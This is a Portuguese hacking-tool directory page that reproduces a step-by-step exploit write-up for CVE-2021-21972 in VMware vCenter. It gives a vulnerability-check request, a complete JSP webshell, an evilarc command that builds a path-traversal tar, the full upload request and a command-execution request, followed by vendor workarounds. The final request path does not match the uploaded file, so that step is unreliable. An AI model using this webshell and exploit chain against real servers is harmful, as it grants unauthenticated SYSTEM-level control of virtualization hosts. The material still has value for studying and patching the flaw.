Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-21972 — [CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE) | Kitploit
Ferramentas/GitHubGitHub/murataydemir/cve-2021-21972
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubmurataydemir/cve-2021-21972

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)

Ver Repositório
61há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[CVE-2021-21972] Upload de Arquivo Não Autorizado para Execução Remota de Código (RCE) no VMware vSphere Client


O vSphere Web Client (HTML5) é essencialmente uma interface administrativa que permite gerenciar uma instalação do vSphere. O vSphere Client fornece a um administrador acesso às principais funções do vSphere sem a necessidade de acessar um servidor vSphere diretamente. Ele permite que administradores criem novas máquinas virtuais e gerenciem as existentes e seus recursos. Como uma aplicação web multiplataforma, pode ser usado em todos os sistemas operacionais suportados através das versões suportadas de diferentes navegadores web.

O CVE-2021-21972 é uma vulnerabilidade de upload de arquivo não autorizado no vCenter Server que leva à execução remota de código no servidor remoto. O problema decorre da falta de autenticação no vRealize Operations vCenter Plugin. Recebeu uma pontuação crítica CVSSv3 de 9,8 em 10,0. Um atacante remoto não autenticado poderia explorar esta vulnerabilidade enviando um arquivo especialmente criado para um endpoint do vCenter Server vulnerável que seja publicamente acessível. As versões 6.5, 6.7 e 7.0 do VMware vCenter Server são afetadas por esta vulnerabilidade. A exploração bem-sucedida desta vulnerabilidade resultaria em um atacante obtendo privilégios irrestritos de execução remota de código (RCE) no sistema operacional subjacente do vCenter Server. Apesar do fato de esta vulnerabilidade decorrer do vRealize Operations vCenter Plugin, o aviso da VMware confirma que este plugin está incluído em todas as instalações padrão do vCenter Server. Isso significa que o endpoint vulnerável está disponível independentemente da presença do vRealize Operations.

No post original do blog aqui, a descoberta da vulnerabilidade é explicada o mais detalhadamente possível, bem como dois caminhos separados para alcançar RCE. Para sistemas Windows, um atacante poderia enviar um arquivo .jsp especialmente criado para obter privilégios NT AUTHORITY\SYSTEM no sistema operacional subjacente. Para sistemas Linux, um atacante precisaria gerar e enviar uma chave pública para o caminho authorized_keys do servidor e depois conectar-se ao servidor vulnerável via SSH para obter privilégios do usuário vsphere-ui. (se o serviço SSH estiver em execução e acessível pela rede)

vropsplugin-service.jar é um arquivo java do plugin vropspluginui e inclui algumas classes e outras funções e métodos relacionados. A parte vulnerável do código é ilustrada abaixo. Neste trecho de código pertence ao ServicesController.class no controlador do vropsplugin-service.jar. Como você pode ver no trecho de código abaixo, a função uploadOvaFile é responsável pelo endpoint/URL que /ui/vropspluginui/rest/services/uploadova

Caminho completo da classe vulnerável: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

Da perspectiva de um atacante, o manipulador desta classe está realizando as seguintes ações

  • Recebendo o parâmetro uploadFile com uma requisição do método POST (linha 2)
  • Lendo o parâmetro uploadFile e escrevendo o conteúdo deste parâmetro na variável inputStream (linha 22)
  • Abrindo os dados resultantes como um arquivo .tar (linha 34)
  • Recuperando todas as entradas do arquivo (linha 35)
  • Copiando cada entrada atual criada no disco usando a convenção de nomeação: /tmp/unicorn_ova_dir + entry.getName() (linhas 42 e 47)

Prova de Conceito: Para explorar esta vulnerabilidade, você pode usar os seguintes passos

  1. Verificar a vulnerabilidade
  2. Criar uma entrada de arquivo .tar contendo a string ../../
  3. Enviar o arquivo .tar criado para o servidor
  4. Ir ao caminho relacionado e chamar o arquivo que você enviou /statsreport/uploadedFileName.jsp

Para verificar a vulnerabilidade, você pode usar a seguinte requisição

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Se a resposta da requisição acima for semelhante às respostas abaixo, significa que o host remoto está vulnerável ao CVE-2021-21972

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

Depois disso, precisamos criar um arquivo .tar manipulado. Para isso você pode usar o evilarc. Evilarc é um script básico em python que permite criar um arquivo zip contendo arquivos com caracteres de directory traversal em seu caminho incorporado.

Conteúdo do cmdjsp.jsp que é basicamente uma webshell

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Com o seguinte comando, o arquivo .tar manipulado será gerado.

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Em seguida, basta enviar o arquivo .tar para o servidor usando a seguinte requisição

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

A resposta da requisição acima é abaixo

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
Screen Shot 2021-04-06 at 19 11 52

Se o código de status da resposta da requisição acima for 200 OK e o corpo for SUCCESS, significa que o arquivo .tar foi enviado com sucesso para o caminho ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. Devido ao fluxo da aplicação, o servidor extrairá o arquivo .tar no diretório /statsreport. Após esta etapa, tudo que você precisa fazer é a seguinte requisição GET para execução remota de código com privilégios NT AUTHORITY\SYSTEM.

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Solução de Contorno: A VMware corrigiu esta vulnerabilidade para as versões 7.0 U1c, 6.7 U3l e 6.5 U3n respectivamente. No entanto, se o patch não puder ser instalado, para implementar a solução de contorno para CVE-2021-21972 e CVE-2021-21973 em implantações do vCenter Server baseadas em Windows, execute os seguintes passos:

  1. Faça RDP para o vCenter Server baseado em Windows
  2. Faça um backup do arquivo: C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. Abra o arquivo compatibility-matrix.xml em um editor de texto
  4. Adicione esta linha: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dentro do elemento pluginsCompatibility
  5. Pare e reinicie o serviço vsphere-ui usando os comandos
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. Depois disso, o plugin VMware vROPS Client pode ser visto como “incompatible” sob Administration > Solutions > client-plugins

Para implementar a solução de contorno para CVE-2021-21972 e CVE-2021-21973 em appliances virtuais baseados em Linux (vCSA), execute os seguintes passos:

  1. Conecte-se ao vCSA usando uma sessão SSH e credenciais de root.
  2. Faça um backup do arquivo: /etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. Abra o arquivo compatibility-matrix.xml em um editor de texto
  4. Adicione esta linha: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dentro do elemento pluginsCompatibility
  5. Pare e reinicie o serviço vsphere-ui usando os comandos
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

Note que esta vulnerabilidade foi descoberta por Mikhail Klyuchnikov da Positive Technologies e o post original da pesquisa está disponível aqui

Para mais informações, visite as seguintes páginas.

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

Baixar ferramenta